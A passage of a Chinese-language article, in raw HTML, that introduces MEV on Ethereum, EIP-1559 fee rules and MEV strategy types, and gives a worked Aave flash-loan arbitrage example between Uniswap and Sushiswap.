15px;">但在区块链世界的另一面，存在着一片深不可测的黑暗森林，在那里，无数的猎人都在静静地等待猎物的到来，并且悄无声息地完成猎杀。</span></section><section style="margin: 8px 1em 24px;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">这片黑暗森林指的就是区块链中的memory pool，这里存放着所有尚未被打包入区块的交易，而猎人就在这茫茫的交易中寻找到可以获取到利润的交易，并毫无情面的掠夺它。</span></section><section style="margin: 8px 1em 24px;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">正所谓天下武功唯快不破，在区块链的黑暗森林中，猎人之间的竞争只取决于两个字：速度，谁能够更快的找到有利润的交易，并且提供给矿工完成区块打包并上链，谁就能够获取到这笔利润。</span></section><section style="margin: 8px 1em 24px;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">因此，普通的交易者可以被看做是猎物，猎人则指的是在memory pool或者区块链中寻找利润的掠夺者，而矿工在某种意义上可以认为是上帝的存在（他们是最终决定交易的人）。</span></section><section data-mpa-template="t" mpa-from-tpl="t" style="margin-left: 1em;margin-right: 1em;"><section data-tools-id="63259" style="overflow: hidden;font-family: 微软雅黑, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;white-space: normal;text-align: center;" mpa-from-tpl="t"><p style="margin-right: auto;margin-left: auto;text-align: center;line-height: 1.5em;"><br/></p><section style="margin-right: auto;margin-left: auto;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/YzHEkzcNr9byvs12MCqJPJYGeMASD1PmmYc1MWPcDVWYQbpSiavVtFMeQwXzWB0HOxGJ2s9QzicBrEGQTmBJQrLw/640?wx_fmt=gif&#34;);background-repeat: no-repeat;width: 60px;height: 60px;background-position: center center;background-size: 100%;" mpa-from-tpl="t"><p style="margin-right: auto;margin-left: auto;white-space: pre-wrap;line-height: 60px;font-size: 18px;font-weight: 600;"><span style="letter-spacing: 1px;">1</span></p></section></section></section><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;align-items: center;" data-mid="" mpa-from-tpl="t"><section data-mid="" mpa-from-tpl="t" style="background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/pfDlv6O5Nu49FIV6jt8vlx5Qw47SLmalbBYm55sOONwMJbjHS3Q8iclT3Y8Y8Mhia4mA955D7yZ4dfLx7eYKIlHg/640?wx_fmt=png&#34;) 0% 0% / 36px 32px repeat-x;height: 33px;"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;letter-spacing: 20px;transform: translateX(9.6px);text-align: center;" data-mid=""><br/></p></section></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 18px;height: 1px;background-color: #090909;margin-right: 4px;" data-mid="" mpa-from-tpl="t"><br/></section><section data-mid="" mpa-from-tpl="t" style="background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/pfDlv6O5Nu49FIV6jt8vlx5Qw47SLmalbBYm55sOONwMJbjHS3Q8iclT3Y8Y8Mhia4mA955D7yZ4dfLx7eYKIlHg/640?wx_fmt=png&#34;) 0% 0% / 36px 32px repeat-x;height: 33px;"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #FFFFFF;line-height: 32px;letter-spacing: 20px;transform: translateX(9.6px);" data-mid=""><span style="font-size: 16px;">概述</span></p></section><section style="width: 18px;height: 1px;background-color: #090909;margin-left: 4px;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section><p style="margin-left: 1em;margin-right: 1em;text-align: justify;line-height: 1.5em;"><br/></p><p style="text-align: justify;margin: 8px 16px 24px;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">MEV（Maximal extractable value）这个概念最早被用于POW网络中，特指矿工在生产新的区块时所能够得到的最大收益。</span></p><p style="text-align: justify;margin: 8px 16px 24px;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">矿工生产区块所产生的收益一般来说，来源于区块奖励和gas费用，而矿工可以通过调节交易在区块中的顺序，尽可能地将gas price较高的交易放在区块的前面，从而获取最大的收益。</span></p><p style="text-align: justify;margin: 8px 16px 24px;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">而在POS网络中，矿工的角色转变为了验证者，但MEV这个名词被保留了下来，并且拓展其含义为“最大可提取价值”（Maximal Extractable Value）。</span></p><p style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">在MEV这个概念中，存在三种角色，分别为搜索者（Searcher），矿工（Miner）和普通的交易者。搜索者会设计特定的金融模型，在区块链中寻找任何可能可以盈利的地方（DeFi，Dex等）来获取一笔利润。</span></p><p style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">矿工也可以分得一部分利润，因为搜索者会通过设置更高的gas price来将他们的交易尽可能早地纳入到区块链中（Gas Price Acution）。</span></p><p style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">普通的交易者在MEV中则获取不到任何的利润，反而可能会因为搜索者互相设置更高的gas price，而导致交易迟迟无法上链，不得已也提高gas price，最终导致以太坊的阻塞（互相内卷）。</span></p><section style="margin: 9pt 16px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><br/></span></section><p style="margin: 0pt 1em 10pt;text-align: left;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: Cambria;letter-spacing: 1px;"><shape type="#_x0000_t75" filled="f" style="text-indent:0;left:0;width:420.0pt;height:225.45229pt;"><imagedata title="image1"></imagedata></shape><img class="rich_pages wxw-img" data-ratio="0.5375" style="width: 560.01px;height: 300.61px;border-radius: 3px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=48d915c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDjKy7wXOnt3viay7y8hX5B9xXydhrS4j7w673H9F9Y0nb73YSvkJaHGw%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin: 0pt 1em 6pt;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;line-height: 1.5em;"><span style="font-family: Cambria;letter-spacing: 1px;"><br/></span></p><p style="margin: 9pt 16px;text-align: left;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">为了缓解这样的问题持续在以太坊链上影响着正常的交易者，以太坊的开发者提出了很多方案，其中最著名的就是EIP-1559提案。</span></p><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="margin-left: 16px;margin-right: 16px;line-height: 1.75em;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 0px 11px 0px 8px;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 20px;height: 21px;align-self: flex-start;margin-left: 8px;margin-bottom: -23.1px;margin-top: 10px;display: flex;justify-content: center;align-items: center;z-index: 1;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 100%;background: rgb(255, 255, 255);border-radius: 2px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="width: 100%;text-align: left;background: rgb(255, 255, 255);border-radius: 2px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 13px 14px 13px 18px;transform: translate(3px, -3.1px);" data-mid="" mpa-from-tpl="t"><p style="font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(51, 51, 51);line-height: 2em;"><span style="letter-spacing: 1px;font-size: 15px;">在EIP-1559提案中大幅度地调整了gas的收取机制，几个关键点：</span></p><ul class="list-paddingleft-1" style="list-style-type: disc;"><li style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><p style="margin: 0px 16px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 0px;padding: 0px;max-width: 100%;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;overflow-wrap: break-word !important;box-sizing: border-box !important;">引入了基础手续费（Base Fee）概念，计算规则为：如果上一个区块所消耗的gas limit如果使用超过一半，则提高下一个区块的Base Fee，最多提升12.5%。反之，则降低下一个区块的Base Fee，最多减少12.5%。</span></p></li><li style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><p style="margin: 0px 16px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">引入燃烧的概念，燃烧的数量为Base Fee * gas used ETH、</span></p></li><li><p style="margin: 0px 16px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">矿工能获取到的费用：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js"><code><span class="code-snippet_outer" style="letter-spacing: 1px;font-size: 15px;">Min( Max fee - Base fee, Max priority fee)</span></code></pre></section></li></ul><p style="margin: 0px 16px;padding: 0px;clear: both;min-height: 1em;max-width: 100%;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 0.5px;overflow-wrap: break-word !important;box-sizing: border-box !important;">因此，在 EIP1559 的规则之下，矿工失去了对 gas 费的定价权：如果他们只打包少量高 gas 的交易导致区块容量不满一半，以太坊系统就会减少 Base fee，降低用户的使用费用。</span><span style="margin: 0px;padding: 0px;max-width: 100%;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;overflow-wrap: break-word !important;box-sizing: border-box !important;"></span></p></section></section><section style="width: 44px;height: 9px;align-self: flex-end;margin-right: 2px;margin-top: -18.1px;display: flex;justify-content: center;align-items: center;margin-bottom: 10px;z-index: 1;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section><p style="margin-left: 1em;margin-right: 1em;"><br/></p><section style="margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">在MEV套利中，主要包含套利（Arbitrage），清算（Liquidation），抢跑（Front run），被跑（Back run），三明治机器人（Sandwich trading）等多种模式。</span></section><p style="margin-left: 1em;margin-right: 1em;line-height: 1.5em;"><br/></p><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="height: 4px;width: 94%;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-color: initial;border-bottom-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;width: 4px;border-width: 1px 0px 1px 1px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-right-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="margin-left: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(90deg);" data-mid="" mpa-from-tpl="t"><br/></section><section style="height: 36px;padding: 6px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-weight: 400;color: rgb(51, 51, 51);line-height: 24px;letter-spacing: 2px;text-align: center;" data-mid=""><strong><span style="letter-spacing: 1px;">套  利</span></strong></p></section><section style="margin-right: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(-90deg);" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;width: 4px;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-color: initial;border-left-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 4px;width: 94%;border-width: 0px 1px 1px;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-top-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section></section><p style="margin-left: 1em;margin-right: 1em;"><br/></p><h3 style="margin: 10pt 1em 0pt;text-align: left;text-indent: 0pt;line-height: normal;break-after: avoid;font-size: 14pt;font-family: Calibri;color: rgb(79, 129, 189);"></h3><section style="text-align: justify;margin: 8px 16px 24px;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">理论上，套利是一种无风险的交易，但在实践中大多数套利都是统计套利，即计算交易获利的概率和损失的概率。</span></section><section style="text-align: justify;margin: 8px 16px 24px;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">套利交易的风险始终存在，轻微的风险包括成交价格的滑点误差减少了利润，严重的风险包括给标的物定价的货币币值大幅波动、经济基本面急剧变化导致原有的比价规律不复存在。</span></section><section style="text-align: justify;margin: 8px 16px 24px;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">套利在传统金融中最常见的存在于商品之间，并且在汇率，股市以及金融衍生品等任何可能存在价差的地方，均可以进行套利。</span></section><section style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">而在区块链的世界中，最常见的套利模型有“cex-dex”和“dex-dex”。cex-dex主要是交易所与swap中存在价差，对于同一个交易对来说，当交易所的价格高于swap的价格时，可以通过在swap进行买入，并在交易所进行卖出来获取利润。</span></section><section style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">同样的，当交易所的价格低于swap价格时，可以通过在交易所进行买入，并在swap中进行卖出来获取利润。</span></section><section style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">dex-dex则关注两个不同的swap中的价差，比如以太坊链上的uniswap和sushiswap。</span></section><section style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">对于同一个交易对来说，只要swap之间存在价差，那么就可以通过在价格较低的swap中进行买入，在价格较高的swap中进行卖出来获取利润。</span></section><section style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">不同于传统金融的套利模式，dex-dex套利模型中还可以使用闪电贷（flash loan）或者闪电兑（flash swap）这样类似的金融服务来成倍的放大价差所产生的利润，只要计算好每一步的手续费和价差的关系，就可以真实地做到“无本万利”。</span></section><section style="margin: 8px 16px 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">下图则是一个利用aave的闪电贷在uniswap和sushiswap对WETH/DAI交易对进行套利的过程：</span><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"></span></section><p style="margin: 9pt 1em;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;"><br/></span></p><p style="margin: 0pt 1em 10pt;text-align: left;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: Cambria;letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.15892857142857142" style="width: 560.01px;height: 89.44px;border-radius: 3px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=98b9bcbe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDwseV1aZ3NfI2SVcZnwB0y6MEcIzSolU8RHqqUfKwOdUuAkiaIgnAf6A%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin: 0pt 1em 10pt;text-align: left;text-indent: 0pt;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-family: Cambria;letter-spacing: 1px;"><br/></span></p><section style="margin: 8px 1em 24px;line-height: 1.75em;"><span style="font-size: 15px;font-weight: bold;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(0, 122, 170);">详细步骤如下：</span><span style="background-color: rgb(255, 255, 255);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;float: none;color: rgb(0, 122, 170);display: inline !important;"></span></section><ul class="list-paddingleft-1" style="list-style-type: disc;margin-left: 16px;margin-right: 16px;"><li><section style="margin: 8px 16px 24px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;text-align: left;font-size: 12pt;font-family: Cambria;text-indent: 0em;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="margin: 0px;padding: 0px;max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;font-family: Cambria;color: rgb(66, 66, 66);font-size: 15px;letter-spacing: 0.5px;">从aave的池子中闪电贷出1000 WETH</span></section></li><li><section style="margin: 8px 16px 24px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;text-align: left;font-size: 12pt;font-family: Cambria;text-indent: 0em;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(66, 66, 66);font-size: 15px;letter-spacing: 0.5px;text-indent: -24pt;">在uniswap</span><span style="color: rgb(66, 66, 66);font-size: 15px;letter-spacing: 0.5px;text-indent: -24pt;">中</span><span style="color: rgb(66, 66, 66);font-size: 15px;letter-spacing: 0.5px;text-indent: -24pt;">将1000 WETH换成1,293,896.750455517300702289 DAI</span></section></li><li><section style="margin: 8px 16px 24px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;text-align: left;font-size: 12pt;font-family: Cambria;text-indent: 0em;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(66, 66, 66);font-size: 15px;letter-spacing: 0.5px;text-indent: -24pt;">在sushiswap中将1,293,896.750455517300</span><span style="color: rgb(66, 66, 66);font-size: 15px;letter-spacing: 0.5px;text-indent: -24pt;">702289 DAI换成1,045.621665215839804691 WETH</span></section></li><li><section style="margin: 8px 16px 24px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;text-align: left;font-size: 12pt;font-family: Cambria;text-indent: 0em;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(66, 66, 66);font-size: 15px;letter-spacing: 0.5px;text-indent: -24pt;">将借出的1000 WETH进行归还，并支付小部分的手续费</span></section></li><li><section style="margin: 8px 16px 24px;padding: 0px;max-width: 100%;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;orphans: 2;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;text-align: left;font-size: 12pt;font-family: Cambria;text-indent: 0em;line-height: 1.75em;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span style="color: rgb(66, 66, 66);font-size: 15px;letter-spacing: 0.5px;text-indent: -24pt;">完成获利，最终获利45 WETH</span></section></li></ul><section style="margin: 8px 1em 24px;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">套利是一种友好的行为，因为套利者会在dex之间不断地进行买卖操作来赚取其中价差所导致的利润，这会使得dex之间的价差维持在很小的一个变化范围，从而保证了dex的良好运转。</span></section><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="height: 4px;width: 94%;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-color: initial;border-bottom-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;width: 4px;border-width: 1px 0px 1px 